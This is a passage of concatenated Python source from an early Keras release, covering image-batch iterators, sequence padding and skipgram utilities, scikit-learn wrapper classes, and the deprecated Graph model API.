        X = np.copy(X)
        if augment:
            aX = np.zeros(tuple([rounds * X.shape[0]] + list(X.shape)[1:]))
            for r in range(rounds):
                for i in range(X.shape[0]):
                    aX[i + r * X.shape[0]] = self.random_transform(X[i])
            X = aX

        if self.featurewise_center:
            self.mean = np.mean(X, axis=0)
            X -= self.mean

        if self.featurewise_std_normalization:
            self.std = np.std(X, axis=0)
            X /= (self.std + 1e-7)

        if self.zca_whitening:
            flatX = np.reshape(X, (X.shape[0], X.shape[1] * X.shape[2] * X.shape[3]))
            sigma = np.dot(flatX.T, flatX) / flatX.shape[1]
            U, S, V = linalg.svd(sigma)
            self.principal_components = np.dot(np.dot(U, np.diag(1. / np.sqrt(S + 10e-7))), U.T)


class Iterator(object):

    def __init__(self, N, batch_size, shuffle, seed):
        self.N = N
        self.batch_size = batch_size
        self.shuffle = shuffle
        self.batch_index = 0
        self.total_batches_seen = 0
        self.lock = threading.Lock()
        self.index_generator = self._flow_index(N, batch_size, shuffle, seed)

    def reset(self):
        self.batch_index = 0

    def _flow_index(self, N, batch_size=32, shuffle=False, seed=None):
        # ensure self.batch_index is 0
        self.reset()
        while 1:
            if self.batch_index == 0:
                index_array = np.arange(N)
                if shuffle:
                    if seed is not None:
                        np.random.seed(seed + self.total_batches_seen)
                    index_array = np.random.permutation(N)

            current_index = (self.batch_index * batch_size) % N
            if N >= current_index + batch_size:
                current_batch_size = batch_size
                self.batch_index += 1
            else:
                current_batch_size = N - current_index
                self.batch_index = 0
            self.total_batches_seen += 1
            yield (index_array[current_index: current_index + current_batch_size],
                   current_index, current_batch_size)

    def __iter__(self):
        # needed if we want to do something like:
        # for x, y in data_gen.flow(...):
        return self

    def __next__(self, *args, **kwargs):
        return self.next(*args, **kwargs)


class NumpyArrayIterator(Iterator):

    def __init__(self, X, y, image_data_generator,
                 batch_size=32, shuffle=False, seed=None,
                 dim_ordering='default',
                 save_to_dir=None, save_prefix='', save_format='jpeg'):
        if y is not None and len(X) != len(y):
            raise Exception('X (images tensor) and y (labels) '
                            'should have the same length. '
                            'Found: X.shape = %s, y.shape = %s' % (np.asarray(X).shape, np.asarray(y).shape))
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        self.X = X
        self.y = y
        self.image_data_generator = image_data_generator
        self.dim_ordering = dim_ordering
        self.save_to_dir = save_to_dir
        self.save_prefix = save_prefix
        self.save_format = save_format
        super(NumpyArrayIterator, self).__init__(X.shape[0], batch_size, shuffle, seed)

    def next(self):
        # for python 2.x.
        # Keeps under lock only the mechanism which advances
        # the indexing of each batch
        # see http://anandology.com/blog/using-iterators-and-generators/
        with self.lock:
            index_array, current_index, current_batch_size = next(self.index_generator)
        # The transformation of images is not under thread lock so it can be done in parallel
        batch_x = np.zeros(tuple([current_batch_size] + list(self.X.shape)[1:]))
        for i, j in enumerate(index_array):
            x = self.X[j]
            x = self.image_data_generator.random_transform(x.astype('float32'))
            x = self.image_data_generator.standardize(x)
            batch_x[i] = x
        if self.save_to_dir:
            for i in range(current_batch_size):
                img = array_to_img(batch_x[i], self.dim_ordering, scale=True)
                fname = '{prefix}_{index}_{hash}.{format}'.format(prefix=self.save_prefix,
                                                                  index=current_index + i,
                                                                  hash=np.random.randint(1e4),
                                                                  format=self.save_format)
                img.save(os.path.join(self.save_to_dir, fname))
        if self.y is None:
            return batch_x
        batch_y = self.y[index_array]
        return batch_x, batch_y


class DirectoryIterator(Iterator):

    def __init__(self, directory, image_data_generator,
                 target_size=(256, 256), color_mode='rgb',
                 dim_ordering='default',
                 classes=None, class_mode='categorical',
                 batch_size=32, shuffle=True, seed=None,
                 save_to_dir=None, save_prefix='', save_format='jpeg'):
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        self.directory = directory
        self.image_data_generator = image_data_generator
        self.target_size = tuple(target_size)
        if color_mode not in {'rgb', 'grayscale'}:
            raise ValueError('Invalid color mode:', color_mode,
                             '; expected "rgb" or "grayscale".')
        self.color_mode = color_mode
        self.dim_ordering = dim_ordering
        if self.color_mode == 'rgb':
            if self.dim_ordering == 'tf':
                self.image_shape = self.target_size + (3,)
            else:
                self.image_shape = (3,) + self.target_size
        else:
            if self.dim_ordering == 'tf':
                self.image_shape = self.target_size + (1,)
            else:
                self.image_shape = (1,) + self.target_size
        self.classes = classes
        if class_mode not in {'categorical', 'binary', 'sparse', None}:
            raise ValueError('Invalid class_mode:', class_mode,
                             '; expected one of "categorical", '
                             '"binary", "sparse", or None.')
        self.class_mode = class_mode
        self.save_to_dir = save_to_dir
        self.save_prefix = save_prefix
        self.save_format = save_format

        white_list_formats = {'png', 'jpg', 'jpeg', 'bmp'}

        # first, count the number of samples and classes
        self.nb_sample = 0

        if not classes:
            classes = []
            for subdir in sorted(os.listdir(directory)):
                if os.path.isdir(os.path.join(directory, subdir)):
                    classes.append(subdir)
        self.nb_class = len(classes)
        self.class_indices = dict(zip(classes, range(len(classes))))

        for subdir in classes:
            subpath = os.path.join(directory, subdir)
            for fname in os.listdir(subpath):
                is_valid = False
                for extension in white_list_formats:
                    if fname.lower().endswith('.' + extension):
                        is_valid = True
                        break
                if is_valid:
                    self.nb_sample += 1
        print('Found %d images belonging to %d classes.' % (self.nb_sample, self.nb_class))

        # second, build an index of the images in the different class subfolders
        self.filenames = []
        self.classes = np.zeros((self.nb_sample,), dtype='int32')
        i = 0
        for subdir in classes:
            subpath = os.path.join(directory, subdir)
            for fname in os.listdir(subpath):
                is_valid = False
                for extension in white_list_formats:
                    if fname.lower().endswith('.' + extension):
                        is_valid = True
                        break
                if is_valid:
                    self.classes[i] = self.class_indices[subdir]
                    self.filenames.append(os.path.join(subdir, fname))
                    i += 1
        super(DirectoryIterator, self).__init__(self.nb_sample, batch_size, shuffle, seed)

    def next(self):
        with self.lock:
            index_array, current_index, current_batch_size = next(self.index_generator)
        # The transformation of images is not under thread lock so it can be done in parallel
        batch_x = np.zeros((current_batch_size,) + self.image_shape)
        grayscale = self.color_mode == 'grayscale'
        # build batch of image data
        for i, j in enumerate(index_array):
            fname = self.filenames[j]
            img = load_img(os.path.join(self.directory, fname), grayscale=grayscale, target_size=self.target_size)
            x = img_to_array(img, dim_ordering=self.dim_ordering)
            x = self.image_data_generator.random_transform(x)
            x = self.image_data_generator.standardize(x)
            batch_x[i] = x
        # optionally save augmented images to disk for debugging purposes
        if self.save_to_dir:
            for i in range(current_batch_size):
                img = array_to_img(batch_x[i], self.dim_ordering, scale=True)
                fname = '{prefix}_{index}_{hash}.{format}'.format(prefix=self.save_prefix,
                                                                  index=current_index + i,
                                                                  hash=np.random.randint(1e4),
                                                                  format=self.save_format)
                img.save(os.path.join(self.save_to_dir, fname))
        # build batch of labels
        if self.class_mode == 'sparse':
            batch_y = self.classes[index_array]
        elif self.class_mode == 'binary':
            batch_y = self.classes[index_array].astype('float32')
        elif self.class_mode == 'categorical':
            batch_y = np.zeros((len(batch_x), self.nb_class), dtype='float32')
            for i, label in enumerate(self.classes[index_array]):
                batch_y[i, label] = 1.
        else:
            return batch_x
        return batch_x, batch_y






from __future__ import absolute_import
# -*- coding: utf-8 -*-
import numpy as np
import random
from six.moves import range


def pad_sequences(sequences, maxlen=None, dtype='int32',
                  padding='pre', truncating='pre', value=0.):
    '''Pads each sequence to the same length:
    the length of the longest sequence.

    If maxlen is provided, any sequence longer
    than maxlen is truncated to maxlen.
    Truncation happens off either the beginning (default) or
    the end of the sequence.

    Supports post-padding and pre-padding (default).

    # Arguments
        sequences: list of lists where each element is a sequence
        maxlen: int, maximum length
        dtype: type to cast the resulting sequence.
        padding: 'pre' or 'post', pad either before or after each sequence.
        truncating: 'pre' or 'post', remove values from sequences larger than
            maxlen either in the beginning or in the end of the sequence
        value: float, value to pad the sequences to the desired value.

    # Returns
        x: numpy array with dimensions (number_of_sequences, maxlen)
    '''
    lengths = [len(s) for s in sequences]

    nb_samples = len(sequences)
    if maxlen is None:
        maxlen = np.max(lengths)

    # take the sample shape from the first non empty sequence
    # checking for consistency in the main loop below.
    sample_shape = tuple()
    for s in sequences:
        if len(s) > 0:
            sample_shape = np.asarray(s).shape[1:]
            break

    x = (np.ones((nb_samples, maxlen) + sample_shape) * value).astype(dtype)
    for idx, s in enumerate(sequences):
        if len(s) == 0:
            continue  # empty list was found
        if truncating == 'pre':
            trunc = s[-maxlen:]
        elif truncating == 'post':
            trunc = s[:maxlen]
        else:
            raise ValueError('Truncating type "%s" not understood' % truncating)

        # check `trunc` has expected shape
        trunc = np.asarray(trunc, dtype=dtype)
        if trunc.shape[1:] != sample_shape:
            raise ValueError('Shape of sample %s of sequence at position %s is different from expected shape %s' %
                             (trunc.shape[1:], idx, sample_shape))

        if padding == 'post':
            x[idx, :len(trunc)] = trunc
        elif padding == 'pre':
            x[idx, -len(trunc):] = trunc
        else:
            raise ValueError('Padding type "%s" not understood' % padding)
    return x


def make_sampling_table(size, sampling_factor=1e-5):
    '''This generates an array where the ith element
    is the probability that a word of rank i would be sampled,
    according to the sampling distribution used in word2vec.

    The word2vec formula is:
        p(word) = min(1, sqrt(word.frequency/sampling_factor) / (word.frequency/sampling_factor))

    We assume that the word frequencies follow Zipf's law (s=1) to derive
    a numerical approximation of frequency(rank):
       frequency(rank) ~ 1/(rank * (log(rank) + gamma) + 1/2 - 1/(12*rank))
        where gamma is the Euler-Mascheroni constant.

    # Arguments
        size: int, number of possible words to sample.
    '''
    gamma = 0.577
    rank = np.array(list(range(size)))
    rank[0] = 1
    inv_fq = rank * (np.log(rank) + gamma) + 0.5 - 1./(12.*rank)
    f = sampling_factor * inv_fq

    return np.minimum(1., f / np.sqrt(f))


def skipgrams(sequence, vocabulary_size,
              window_size=4, negative_samples=1., shuffle=True,
              categorical=False, sampling_table=None):
    '''Take a sequence (list of indexes of words),
    returns couples of [word_index, other_word index] and labels (1s or 0s),
    where label = 1 if 'other_word' belongs to the context of 'word',
    and label=0 if 'other_word' is randomly sampled

    # Arguments
        vocabulary_size: int. maximum possible word index + 1
        window_size: int. actually half-window.
            The window of a word wi will be [i-window_size, i+window_size+1]
        negative_samples: float >= 0. 0 for no negative (=random) samples.
            1 for same number as positive samples. etc.
        categorical: bool. if False, labels will be
            integers (eg. [0, 1, 1 .. ]),
            if True labels will be categorical eg. [[1,0],[0,1],[0,1] .. ]

    # Returns
        couples, labels: where `couples` are int pairs and
            `labels` are either 0 or 1.

    # Notes
        By convention, index 0 in the vocabulary is
        a non-word and will be skipped.
    '''
    couples = []
    labels = []
    for i, wi in enumerate(sequence):
        if not wi:
            continue
        if sampling_table is not None:
            if sampling_table[wi] < random.random():
                continue

        window_start = max(0, i-window_size)
        window_end = min(len(sequence), i+window_size+1)
        for j in range(window_start, window_end):
            if j != i:
                wj = sequence[j]
                if not wj:
                    continue
                couples.append([wi, wj])
                if categorical:
                    labels.append([0,1])
                else:
                    labels.append(1)

    if negative_samples > 0:
        nb_negative_samples = int(len(labels) * negative_samples)
        words = [c[0] for c in couples]
        random.shuffle(words)

        couples += [[words[i %len(words)], random.randint(1, vocabulary_size-1)] for i in range(nb_negative_samples)]
        if categorical:
            labels += [[1,0]]*nb_negative_samples
        else:
            labels += [0]*nb_negative_samples

    if shuffle:
        seed = random.randint(0,10e6)
        random.seed(seed)
        random.shuffle(couples)
        random.seed(seed)
        random.shuffle(labels)

    return couples, labels












from __future__ import absolute_import
import copy
import inspect
import types
import numpy as np

from ..utils.np_utils import to_categorical
from ..models import Sequential


class BaseWrapper(object):
    '''Base class for the Keras scikit-learn wrapper.

    Warning: This class should not be used directly.
    Use descendant classes instead.

    # Arguments
        build_fn: callable function or class instance
        sk_params: model parameters & fitting parameters

    The build_fn should construct, compile and return a Keras model, which
    will then be used to fit/predict. One of the following
    three values could be passed to build_fn:
    1. A function
    2. An instance of a class that implements the __call__ method
    3. None. This means you implement a class that inherits from either
    `KerasClassifier` or `KerasRegressor`. The __call__ method of the
    present class will then be treated as the default build_fn.

    `sk_params` takes both model parameters and fitting parameters. Legal model
    parameters are the arguments of `build_fn`. Note that like all other
    estimators in scikit-learn, 'build_fn' should provide default values for
    its arguments, so that you could create the estimator without passing any
    values to `sk_params`.

    `sk_params` could also accept parameters for calling `fit`, `predict`,
    `predict_proba`, and `score` methods (e.g., `nb_epoch`, `batch_size`).
    fitting (predicting) parameters are selected in the following order:

    1. Values passed to the dictionary arguments of
    `fit`, `predict`, `predict_proba`, and `score` methods
    2. Values passed to `sk_params`
    3. The default values of the `keras.models.Sequential`
    `fit`, `predict`, `predict_proba` and `score` methods

    When using scikit-learn's `grid_search` API, legal tunable parameters are
    those you could pass to `sk_params`, including fitting parameters.
    In other words, you could use `grid_search` to search for the best
    `batch_size` or `nb_epoch` as well as the model parameters.
    '''

    def __init__(self, build_fn=None, **sk_params):
        self.build_fn = build_fn
        self.sk_params = sk_params
        self.check_params(sk_params)

    def check_params(self, params):
        '''Check for user typos in "params" keys to avoid
        unwanted usage of default values

        # Arguments
            params: dictionary
                The parameters to be checked
        '''
        legal_params_fns = [Sequential.fit, Sequential.predict,
                            Sequential.predict_classes, Sequential.evaluate]
        if self.build_fn is None:
            legal_params_fns.append(self.__call__)
        elif not isinstance(self.build_fn, types.FunctionType):
            legal_params_fns.append(self.build_fn.__call__)
        else:
            legal_params_fns.append(self.build_fn)

        legal_params = []
        for fn in legal_params_fns:
            legal_params += inspect.getargspec(fn)[0]
        legal_params = set(legal_params)

        for params_name in params:
            if params_name not in legal_params:
                assert False, '{} is not a legal parameter'.format(params_name)

    def get_params(self, deep=True):
        '''Get parameters for this estimator.

        # Arguments
            deep: boolean, optional
                If True, will return the parameters for this estimator and
                contained sub-objects that are estimators.

        # Returns
            params : dict
                Dictionary of parameter names mapped to their values.
        '''
        res = copy.deepcopy(self.sk_params)
        res.update({'build_fn': self.build_fn})
        return res

    def set_params(self, **params):
        '''Set the parameters of this estimator.

        # Arguments
        params: dict
            Dictionary of parameter names mapped to their values.

        # Returns
            self
        '''
        self.check_params(params)
        self.sk_params.update(params)
        return self

    def fit(self, X, y, **kwargs):
        '''Construct a new model with build_fn and fit the model according
        to the given training data.

        # Arguments
            X : array-like, shape `(n_samples, n_features)`
                Training samples where n_samples in the number of samples
                and n_features is the number of features.
            y : array-like, shape `(n_samples,)` or `(n_samples, n_outputs)`
                True labels for X.
            kwargs: dictionary arguments
                Legal arguments are the arguments of `Sequential.fit`

        # Returns
            history : object
                details about the training history at each epoch.
        '''

        if self.build_fn is None:
            self.model = self.__call__(**self.filter_sk_params(self.__call__))
        elif not isinstance(self.build_fn, types.FunctionType):
            self.model = self.build_fn(
                **self.filter_sk_params(self.build_fn.__call__))
        else:
            self.model = self.build_fn(**self.filter_sk_params(self.build_fn))

        loss_name = self.model.loss
        if hasattr(loss_name, '__name__'):
            loss_name = loss_name.__name__
        if loss_name == 'categorical_crossentropy' and len(y.shape) != 2:
            y = to_categorical(y)

        fit_args = copy.deepcopy(self.filter_sk_params(Sequential.fit))
        fit_args.update(kwargs)

        history = self.model.fit(X, y, **fit_args)

        return history

    def filter_sk_params(self, fn, override={}):
        '''Filter sk_params and return those in fn's arguments

        # Arguments
            fn : arbitrary function
            override: dictionary, values to override sk_params

        # Returns
            res : dictionary dictionary containing variables
                in both sk_params and fn's arguments.
        '''
        res = {}
        fn_args = inspect.getargspec(fn)[0]
        for name, value in self.sk_params.items():
            if name in fn_args:
                res.update({name: value})
        res.update(override)
        return res


class KerasClassifier(BaseWrapper):
    '''Implementation of the scikit-learn classifier API for Keras.
    '''

    def predict(self, X, **kwargs):
        '''Returns the class predictions for the given test data.

        # Arguments
            X: array-like, shape `(n_samples, n_features)`
                Test samples where n_samples in the number of samples
                and n_features is the number of features.
            kwargs: dictionary arguments
                Legal arguments are the arguments of `Sequential.predict_classes`.

        # Returns
            preds: array-like, shape `(n_samples,)`
                Class predictions.
        '''
        kwargs = self.filter_sk_params(Sequential.predict_classes, kwargs)
        return self.model.predict_classes(X, **kwargs)

    def predict_proba(self, X, **kwargs):
        '''Returns class probability estimates for the given test data.

        # Arguments
            X: array-like, shape `(n_samples, n_features)`
                Test samples where n_samples in the number of samples
                and n_features is the number of features.
            kwargs: dictionary arguments
                Legal arguments are the arguments of `Sequential.predict_classes`.

        # Returns
            proba: array-like, shape `(n_samples, n_outputs)`
                Class probability estimates.
                In the case of binary classification,
                tp match the scikit-learn API,
                will return an array of shape '(n_samples, 2)'
                (instead of `(n_sample, 1)` as in Keras).
        '''
        kwargs = self.filter_sk_params(Sequential.predict_proba, kwargs)
        probs = self.model.predict_proba(X, **kwargs)

        # check if binary classification
        if probs.shape[1] == 1:
            # first column is probability of class 0 and second is of class 1
            probs = np.hstack([1 - probs, probs])
        return probs

    def score(self, X, y, **kwargs):
        '''Returns the mean accuracy on the given test data and labels.

        # Arguments
            X: array-like, shape `(n_samples, n_features)`
                Test samples where n_samples in the number of samples
                and n_features is the number of features.
            y: array-like, shape `(n_samples,)` or `(n_samples, n_outputs)`
                True labels for X.
            kwargs: dictionary arguments
                Legal arguments are the arguments of `Sequential.evaluate`.

        # Returns
            score: float
                Mean accuracy of predictions on X wrt. y.
        '''
        kwargs = self.filter_sk_params(Sequential.evaluate, kwargs)

        loss_name = self.model.loss
        if hasattr(loss_name, '__name__'):
            loss_name = loss_name.__name__
        if loss_name == 'categorical_crossentropy' and len(y.shape) != 2:
            y = to_categorical(y)

        outputs = self.model.evaluate(X, y, **kwargs)
        if type(outputs) is not list:
            outputs = [outputs]
        for name, output in zip(self.model.metrics_names, outputs):
            if name == 'acc':
                return output
        raise Exception('The model is not configured to compute accuracy. '
                        'You should pass `metrics=["accuracy"]` to '
                        'the `model.compile()` method.')


class KerasRegressor(BaseWrapper):
    '''Implementation of the scikit-learn regressor API for Keras.
    '''

    def predict(self, X, **kwargs):
        '''Returns predictions for the given test data.

        # Arguments
            X: array-like, shape `(n_samples, n_features)`
                Test samples where n_samples in the number of samples
                and n_features is the number of features.
            kwargs: dictionary arguments
                Legal arguments are the arguments of `Sequential.predict`.
        # Returns
            preds: array-like, shape `(n_samples,)`
                Predictions.
        '''
        kwargs = self.filter_sk_params(Sequential.predict, kwargs)
        return np.squeeze(self.model.predict(X, **kwargs))

    def score(self, X, y, **kwargs):
        '''Returns the mean loss on the given test data and labels.

        # Arguments
            X: array-like, shape `(n_samples, n_features)`
                Test samples where n_samples in the number of samples
                and n_features is the number of features.
            y: array-like, shape `(n_samples,)`
                True labels for X.
            kwargs: dictionary arguments
                Legal arguments are the arguments of `Sequential.evaluate`.

        # Returns
            score: float
                Mean accuracy of predictions on X wrt. y.
        '''
        kwargs = self.filter_sk_params(Sequential.evaluate, kwargs)
        loss = self.model.evaluate(X, y, **kwargs)
        if type(loss) is list:
            return loss[0]
        return loss






from collections import OrderedDict
import warnings
import copy

from .. import backend as K
from ..layers import InputLayer, Layer, Merge
from ..engine.training import Model


class Graph(Model):
    '''Arbitrary connection graph.

    THIS IS A LEGACY MODEL AND SHOULD NOT BE USED
    except for backwards compatibility support.

    For multi-inputs/multi-outputs models, or
    models using shared layers, use the functional API instead.
    '''

    def __init__(self, name=None):
        # model attributes
        self.inbound_nodes = []
        self.outbound_nodes = []
        self.built = False
        self.supports_masking = False

        # legacy attributes (we prefix them with _graph_)
        self._graph_namespace = set()  # strings
        self._graph_nodes = OrderedDict()  # layer-like
        self._graph_inputs = OrderedDict()  # layer-like
        self._graph_outputs = OrderedDict()  # layer-like
        self._graph_input_config = []  # dicts
        self._graph_output_config = []  # dicts
        self._graph_node_config = []  # dicts
        self._graph_shared_nodes_names = []

        if not name:
            prefix = 'graph_'
            name = prefix + str(K.get_uid(prefix))
        self.name = name

    def __call__(self, x, mask=None):
        self.build()
        return super(Graph, self).__call__(x, mask)

    def build(self, input_shape=None):
        # this will crash if the input/output layers have multiple nodes
        # no plans to support that case since Graph is deprecated
        input_tensors = [layer.output for layer in self._graph_inputs.values()]
        output_tensors = [layer.output for layer in self._graph_outputs.values()]
        # actually create the model
        super(Graph, self).__init__(input_tensors,
                                    output_tensors,
                                    name=self.name)
        self.built = True

    def compile(self, optimizer, loss,
                metrics=[],
                sample_weight_modes=None,
                loss_weights=None,
                **kwargs):
        '''Configures the learning process.

        # Arguments
            optimizer: str (name of optimizer) or optimizer object.
                See [optimizers](optimizers.md).
            loss: dictionary mapping the name(s) of the output(s) to
                a loss function (string name of objective function or
                objective function. See [objectives](objectives.md)).
            metrics: list of str (name of metrics) or
                list of metrics functions. See [metrics](metrics.md).
            sample_weight_modes: optional dictionary mapping certain
                output names to a sample weight mode ("temporal" and None
                are the only supported modes). If you need to do
                timestep-wise loss weighting on one of your graph outputs,
                you will need to set the sample weight mode for this output
                to "temporal".
            loss_weights: dictionary you can pass to specify a weight
                coefficient for each loss function (in a multi-output model).
                If no loss weight is specified for an output,
                the weight for this output's loss will be considered to be 1.
            kwargs: for Theano backend, these are passed into K.function.
                Ignored for Tensorflow backend.
        '''
        # create the underlying Model
        if not self.built:
            self.build()
        super(Graph, self).compile(optimizer, loss,
                                   metrics=metrics,
                                   sample_weight_mode=sample_weight_modes,
                                   loss_weights=loss_weights,
                                   **kwargs)

    def add_input(self, name, input_shape=None,
                  batch_input_shape=None, dtype='float'):
        '''Adds an input to the graph.

        # Arguments:
            name: string. The name of the new input.
                Must be unique in the graph.
            input_shape: a tuple of integers,
                the expected shape of the input samples.
                Does not include the batch size.
            batch_input_shape: a tuple of integers,
                the expected shape of the whole input batch,
                including the batch size.
            dtype: 'float', or 'int'.
        '''
        if name in self._graph_namespace:
            raise Exception('Duplicate node identifier: ' + name)
        self._graph_namespace.add(name)
        self.built = False

        if dtype[:3] == 'int':
            dtype = 'int32'
        elif dtype[:5] == 'float':
            dtype = K.floatx()
        else:
            raise Exception('Uknown dtype (should be "int" or "float"): ' +
                            str(dtype))

        # create input layer
        input_layer = InputLayer(input_shape=input_shape,
                                 batch_input_shape=batch_input_shape,
                                 name=name, input_dtype=dtype)
        self._graph_inputs[name] = input_layer

        # append input config to self._graph_input_config
        config = {'name': name, 'dtype': dtype}
        if batch_input_shape:
            config['batch_input_shape'] = batch_input_shape
        else:
            config['input_shape'] = input_shape
        self._graph_input_config.append(config)

    def add_node(self, layer, name, input=None, inputs=[],
                 merge_mode='concat', concat_axis=-1, dot_axes=-1,
                 create_output=False):
        '''Adds a node in the graph. It can be connected to multiple
        inputs, which will first be merged into one tensor
        according to the mode specified.

        # Arguments
            layer: the layer at the node.
            name: name for the node.
            input: when connecting the layer to a single input,
                this is the name of the incoming node.
            inputs: when connecting the layer to multiple inputs,
                this is a list of names of incoming nodes.
            merge_mode: one of {concat, sum, dot, ave, mul}
            concat_axis: when `merge_mode=='concat'`, this is the
                input concatenation axis.
            dot_axes: when `merge_mode='dot'`,
                this is the contraction axes specification;
                see the `Merge` layer for details.
            create_output: boolean. Set this to `True` if you want the output
                of your node to be an output of the graph.
        '''
        if name in self._graph_namespace:
            raise Exception('Duplicate node identifier: ' + name)
        self._graph_namespace.add(name)
        layer.name = name
        self.built = False

        if input:
            if input not in self._graph_namespace:
                raise Exception('Unknown node/input identifier: ' + input)
            if input in self._graph_nodes:
                layer.add_inbound_node(self._graph_nodes[input])
            elif input in self._graph_inputs:
                layer.add_inbound_node(self._graph_inputs[input])
        if inputs:
            to_merge = []
            for n in inputs:
                if n in self._graph_nodes:
                    to_merge.append(self._graph_nodes[n])
                elif n in self._graph_inputs:
                    to_merge.append(self._graph_inputs[n])
                else:
                    raise Exception('Unknown identifier: ' + n)
            merge = Merge(to_merge, mode=merge_mode,
                          concat_axis=concat_axis, dot_axes=dot_axes,
                          name='merge_inputs_for_' + name)
            layer.add_inbound_node(merge)
        self._graph_nodes[name] = layer
        self._graph_node_config.append({'name': name,
                                        'input': input,
                                        'inputs': inputs,
                                        'merge_mode': merge_mode,
                                        'concat_axis': concat_axis,
                                        'dot_axes': dot_axes,
                                        'create_output': create_output})
        if create_output:
            self.add_output(name, input=name)

    def add_shared_node(self, layer, name, inputs=[], merge_mode=None,
                        concat_axis=-1, dot_axes=-1, outputs=[],
                        create_output=False):
        '''Used to share a same layer across multiple nodes.

        Supposed, for instance, that you want to apply one same `Dense` layer
        after two different nodes ('node_a' and 'node_b').
        You can then add the dense layer as a shared node by calling:

        ```python
        model.add_shared_node(my_dense, name='shared_dense', inputs=['node_a', 'node_b'], ...)
        ```

        If you want access to the output of dense(node_a) and dense(node_b) separately,
        you can add these outputs to the Graph by passing an `outputs` argument:

        ```python
        model.add_shared_node(my_dense, name='shared_dense', inputs=['node_a', 'node_b'],
                              outputs=['dense_output_a', 'dense_outputs_b'])
        ```

        Otherwise you can merge these different outputs via `merge_mode`.
        In that case you can access the merged output
        under the identifier `name`.

        # Arguments
            layer: The layer to be shared across multiple inputs
            name: Name of the shared node
            inputs: List of names of input nodes
            merge_mode: Same meaning as `merge_mode` argument of `add_node()`
            concat_axis: Same meaning as `concat_axis` argument of `add_node()`
            dot_axes: Same meaning as `dot_axes` argument of `add_node()`
            outputs: Used when `merge_mode=None`. Names for the output nodes.
            create_output: Same meaning as `create_output` argument of `add_node()`.
        '''
        if name in self._graph_namespace:
            raise Exception('Duplicate node identifier: ' + name)
        self._graph_namespace.add(name)
        self.built = False

        for o in outputs:
            if o in self._graph_namespace:
                raise Exception('Duplicate node identifier: ' + o)
        if merge_mode:
            if merge_mode not in {'sum', 'ave', 'mul', 'dot', 'cos', 'concat'}:
                raise Exception('Invalid merge mode:', merge_mode)
        input_layers = []
        for i in range(len(inputs)):
            input = inputs[i]
            if input in self._graph_nodes:
                n = self._graph_nodes[input]
                input_layers.append(n)
            elif input in self._graph_inputs:
                n = self._graph_inputs[input]
                input_layers.append(n)
            else:
                raise Exception('Unknown identifier: ' + input)

        created_node_indices = []
        for input_layer in input_layers:
            created_node_indices.append(len(layer.inbound_nodes))
            layer.add_inbound_node(input_layer)

        if merge_mode:
            layer.name = 'input_for_' + name
            # collect all output nodes of layer and merge them into a single output
            merge = Merge([layer for _ in range(len(inputs))],
                          mode=merge_mode,
                          concat_axis=concat_axis, dot_axes=dot_axes,
                          node_indices=created_node_indices,
                          name=name)
            self._graph_nodes[name] = merge
            if create_output:
                self.add_output(name, input=name)
        else:
            layer.name = name
            # create one new layer per output node of layer,
            # and add them to the Graph with their own identifiers
            if len(outputs) != len(inputs):
                raise Exception('When using merge_mode=None, '
                                'you should provide a list of '
                                'output names (`output` argument) '
                                'the same size as `input`.')
            for i in range(len(outputs)):
                output_layer_name = outputs[i]
                output_layer = Layer(name=output_layer_name)
                output_layer.add_inbound_node(layer, created_node_indices[i])
                self._graph_namespace.add(output_layer_name)
                self._graph_nodes[output_layer_name] = output_layer
                if create_output:
                    self.add_output(output_layer_name, input=output_layer_name)

        self._graph_node_config.append({'name': name,
                                        'layer': {
                                            'config': layer.get_config(),
                                            'class_name': layer.__class__.__name__,
                                        },
                                        'inputs': inputs,
                                        'merge_mode': merge_mode,
                                        'concat_axis': concat_axis,
                                        'dot_axes': dot_axes,
                                        'outputs': outputs,
                                        'create_output': create_output if merge_mode else False})
        self._graph_shared_nodes_names.append(name)

    def add_output(self, name, input=None, inputs=[],
                   merge_mode='concat', concat_axis=-1, dot_axes=-1):
        '''Adds an output to the graph.

        This output can merge several node outputs into a single output.

        # Arguments
            name: name of the output.
            input: when connecting the layer to a single input,
                this is the name of the incoming node.
            inputs: when connecting the layer to multiple inputs,
                this is a list of names of incoming nodes.
            merge_mode: one of {concat, sum, dot, ave, mul}
            concat_axis: when `merge_mode=='concat'`, this is the
                input concatenation axis.
            dot_axes: when `merge_mode='dot'`,
                this is the contraction axes specification;
                see the `Merge layer for details.
        '''
        if name not in self._graph_namespace:
            self._graph_namespace.add(name)
        if name in self._graph_outputs:
            raise Exception('Duplicate output identifier:', name)
        self.built = False

        if input:
            if input in self._graph_nodes:
                layer = self._graph_nodes[input]
            elif input in self._graph_inputs:
                layer = self._graph_inputs[input]
            else:
                raise Exception('Unknown node/input identifier: ' + input)
            if layer.name == name:
                self._graph_outputs[name] = layer
            else:
                layer.name = name
                self._graph_outputs[name] = layer
        if inputs:
            to_merge = []
            for n in inputs:
                if n not in self._graph_nodes:
                    raise Exception('Unknown identifier: ' + n)
                to_merge.append(self._graph_nodes[n])
            merge = Merge(to_merge, mode=merge_mode,
                          concat_axis=concat_axis, dot_axes=dot_axes,
                          name=name)
            self._graph_outputs[name] = merge

        self._graph_output_config.append({'name': name,
                                          'input': input,
                                          'inputs': inputs,
                                          'merge_mode': merge_mode,
                                          'concat_axis': concat_axis,
                                          'dot_axes': dot_axes})

    def _get_x(self, data):
        x = []
        for key in self._graph_inputs.keys():
            if key not in data:
                raise Exception('Expected to be provided an array '
                                '(in dict argument `data`) for input "' +
                                key + '".')
            x.append(data[key])
        return x

    def _get_y(self, data):
        y = []
        for key in self._graph_outputs.keys():
            if key not in data:
                raise Exception('Expected to be provided an array '
                                '(in dict argument `data`) for output "' +
                                key + '".')
            y.append(data[key])
        return y

    def fit(self, data, batch_size=32, nb_epoch=10, verbose=1, callbacks=[],
            validation_split=0., validation_data=None, shuffle=True,
            class_weight=None, sample_weight=None, **kwargs):
        '''Trains the model for a fixed number of epochs.

        Returns a history object. Its `history` attribute is a record of
        training loss values at successive epochs,
        as well as validation loss values (if applicable).

        # Arguments
            data: dictionary mapping input names and outputs names to
                appropriate Numpy arrays. All arrays should contain
                the same number of samples.
            batch_size: int. Number of samples per gradient update.
            nb_epoch: int.
            verbose: 0 for no logging to stdout,
                1 for progress bar logging, 2 for one log line per epoch.
            callbacks: `keras.callbacks.Callback` list. List of callbacks
                to apply during training. See [callbacks](callbacks.md).
            validation_split: float (0. < x < 1). Fraction of the data to
                use as held-out validation data.
            validation_data: dictionary mapping input names and outputs names
